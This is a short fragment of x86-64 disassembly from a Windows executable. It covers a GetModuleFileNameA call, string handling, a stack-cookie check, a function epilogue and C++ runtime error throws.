call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rbp + 0x40]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000a0e0
mov r8, rdi
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140003ae0
nop
lea rcx, [rsp + 0x40]
call fcn.14000aea0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000a146
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a141
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a141
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006dfc4
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.14006dc50
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x18], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea r8, [rbp - 0x20]
mov edx, eax
call fcn.140008db0
int3